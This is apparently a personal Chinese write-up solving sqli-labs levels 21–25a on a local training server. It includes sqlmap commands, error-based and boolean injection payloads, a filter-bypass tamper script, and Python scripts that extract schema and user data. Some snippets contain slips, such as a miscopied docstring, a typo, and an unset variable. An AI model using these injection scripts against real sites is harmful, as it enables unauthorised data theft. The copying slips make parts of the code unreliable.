sql-labs自动化注入解题笔记（21-25a）

less-21,less-22 (基于base64编码的cookie注入)

sqlmap

header.txt

GET /sqli-labs/Less-21/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sqli-labs/Less-21/
Cookie: uname=*
Upgrade-Insecure-Requests: 1

python3 sqlmap.py -r header.txt --technique=U  --batch --fresh-queries --dump --dbms=mysql --threads=10 --tamper=base64encode
#使用tamper脚本base64encode.py对payload进行base64编码

python脚本

less-23(过滤注释符# --的GET注入)

思路

使用 and ‘1’ ='1 闭合多余的引号

【payload】

查看当前数据库名：select database();
查看当前用户名：select user();
查看所有数据库名：show databases;
查看数据库中所有表名：show tables;
数据库的个数：SELECT count(schema_name) from information_schema.schemata
数据库名的长度：SELECT length(schema_name) from information_schema.schemata limit 0,1
数据库名：SELECT schema_name from information_schema.schemata
表的个数：SELECT count(table_name) from information_schema.tables where table_schema="数据库名"
表名的长度：SELECT length(table_name) from information_schema.tables where table_schema="数据库名" limit 0,1
表名：SELECT table_name from information_schema.tables where table_schema="数据库名"
字段的个数：SELECT count(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"
字段名的长度：SELECT length(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名" limit 0,1
字段名：SELECT column_name from information_schema.columns where table_name="表名" and table_schema="数据库名"
值的个数：SELECT count(字段名) from 数据库名.表名
值的长度：SELECT length(字段名) from 数据库名.表名 linit 0,1
值：SELECT 字段名 from 数据库名.表名

payload结构

http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(【payload】 limit 0,1),0x7e),1)) and '1'='1

自动化注入

sqlmap

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-23/?id=1"  --technique=B  --batch --fresh-queries --dump --dbms=mysql --threads=10

python脚本

import requests
import threading
import queue
from lxml import etree


NUM=5  #线程数
LIST=[]
headers = {
     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}


class TimeTheBlinds(threading.Thread):
    def __init__(self,url,xpath,q):
        self.url=url
        self.xpath=xpath
        self.q=q
        super().__init__()


    def run(self):
        global LIST
        headers={
     'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}


        str1 = ''
        n=self.q.get()
        payload=self.url.format(n)
        res=requests.get(payload,headers=headers).text
        html=etree.HTML(res)
        text=html.xpath(self.xpath)
        LIST.append(text)




def main(url,xpath):


    q = queue.Queue()
    thread_list = []
    for n in range(NUM):
        q.put(n)
    for n in range(NUM):
        thread_list.append(TimeTheBlinds(
            url,xpath,q))
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
    print(LIST)




if __name__ == '__main__':
    #  数据库名
    # url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit {},1),0x7e),1)) and '1'='1"
    #  表名
    # url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=\"security\" limit {},1),0x7e),1)) and '1'='1"
    #  字段名
    # url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=\"users\" and table_schema=\"security\" limit {},1),0x7e),1)) and '1'='1"
    #  值
    url = "http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(SELECT username from security.users limit {},1),0x7e),1)) and '1'='1"
    xpath = '/html/body/div/font[2]/font/text()'
    main(url,xpath)

less-24(二次注入)

二次注入原理及应用

less-25(过滤and,or 的GET联合注入)

思路

使用%26%26(&&)，||代替and,or

http://127.0.0.1/sqli-labs/Less-25/?id=1' %26%26 1=1 --+

自动化注入

sqlmap

bypass_and_or.py(自己写的tamper脚本)

#!/usr/bin/env python


"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""


import re


from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING


__priority__ = PRIORITY.LOWEST


def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    Base64 all characters in a given payload


    >>> tamper(anandd"1' AND SLEEP(5)#")
    '"1'  SLEEP(5)#"'
    """
    if payload:
        payload=re.sub('and','anandd',payload,flags=re.IGNORECASE)
        payload = re.sub('or', 'oorr', payload, flags=re.IGNORECASE)

    return payload
if __name__ == '__main__':
    payload=" and '1'='1'"
    print (tamper(payload ))

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-25/?id=1"    --batch  --technique=B --fresh-queries --dump --dbms=mysql --threads=10  --tamper=bypass_and_or

python脚本

import requests
import threading
import queue
from lxml import etree
import re

NUM=5  #线程数
LIST=[]
headers = {
     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}

def bypass(payload):
    '''
    绕过and，or

    :param payload:
    :return:
    '''
    if payload:
        payload=re.sub('and','anandd',payload,flags=re.IGNORECASE)
        payload = re.sub('or', 'oorr', payload, flags=re.IGNORECASE)

    return payload
def brute_field_num(url):
    '''
    暴力测试数据表的字段数
    :param url:
    :return: 数据表的字段数
    '''
    try:
        n=1
        while True:
            payload=url+bypass(' order by {} --+'.format(n))
            print(payload)
            res=requests.get(payload,headers=headers)
            if  'Unknown column' in res.text:
                return n-1
            n+=1
    except Exception as e:
        print(e)




class TimeTheBlinds(threading.Thread):
    def __init__(self,url,xpath,q):
        self.url=url
        self.xpath=xpath
        self.q=q
        super().__init__()


    def run(self):
        global LIST
        headers={
     'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}


        str1 = ''
        n=self.q.get()
        payload=bypass(self.url.format(n))
        res=requests.get(payload,headers=headers).text
        html=etree.HTML(res)
        text=html.xpath(self.xpath)
        LIST.append(text)




def main(url,xpath):


    q = queue.Queue()
    thread_list = []
    for n in range(NUM):
        q.put(n)
    for n in range(NUM):
        thread_list.append(TimeTheBlinds(
            url,xpath,q))
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
    print(LIST)




if __name__ == '__main__':
    #print( brute_field_num('http://127.0.0.1/sqli-labs/Less-25/?id=1\''))
    #url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,2,schema_name from information_schema.schemata limit {} ,1--+"
    # url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,2,table_name from information_schema.tables where table_schema='security' limit {} ,1--+"
    # url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,2,column_name from information_schema.columns where table_name='users' and table_schema='security' limit {} ,1--+"
    # url = "http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union SELECT 1,username,password from security.users limit {} ,1--+"
    xpath = '/html/body/div/font[2]/font/text()'
    main(url,xpath)

less-25a(过滤and,or 的GET布尔注入)

思路

使用%26%26(&&)，||代替and,or

http://127.0.0.1/sqli-labs/Less-25/?id=1' %26%26 1=1 --+

自动化注入

sqlmap

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-25a/?id=1"    --batch  --technique=B --fresh-queries --dump --dbms=mysql --threads=10  --tamper=bypass_and_or  -table users

python脚本

import requests
import threading
import queue
import string
import re

NUM=5  #线程数
LIST=[]
headers = {
     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}

def bypass(payload):
    '''
    绕过and，or

    :param payload:
    :return:
    '''
    if payload:
        payload=re.sub('and','anandd',payload,flags=re.IGNORECASE)
        payload = re.sub('or', 'oorr', payload, flags=re.IGNORECASE)

    return payload





class TimeTheBlinds(threading.Thread):
    def __init__(self,url,q,payload):
        self.url=url


        self.q=q
        self.payload=payload
        self.len=30
        self.string = string.printable
        super().__init__()


    def run(self):
        global LIST
        headers = {
     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}


        str1 = ''
        n = self.q.get()


        for l in range(1, self.len + 1):


            for c in self.string:
                try:
                    # print(bypass(self.url.format(self.payload,n, l, ord(c))))
                    res=requests.get(bypass(self.url.format(self.payload,n, l, ord(c))), headers=headers).text
                    if 'Your Login name' in res:
                        str1 += str(c)
                        print(str1)
                except Exception as e:
                    print(e)
        LIST.append(str1)




def main(url,payload):


    q = queue.Queue()
    thread_list = []
    for n in range(NUM):
        q.put(n)
    for n in range(NUM):
        thread_list.append(TimeTheBlinds(
            url,q,payload))
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
    print(LIST)




if __name__ == '__main__':
    db = 'SELECT schema_name from information_schema.schemata'
    table = 'SELECT table_name from information_schema.tables where table_schema="security"'
    column = 'SELECT column_name from information_schema.columns where table_name="users" and table_schema="security"'
    vlaue = 'SELECT username from security.users'
    url='http://127.0.0.1/sqli-labs/Less-25a/?id=1%20and%20ord(substr(({} limit {},1),{},1))={}--+'

    main(url,vlaue)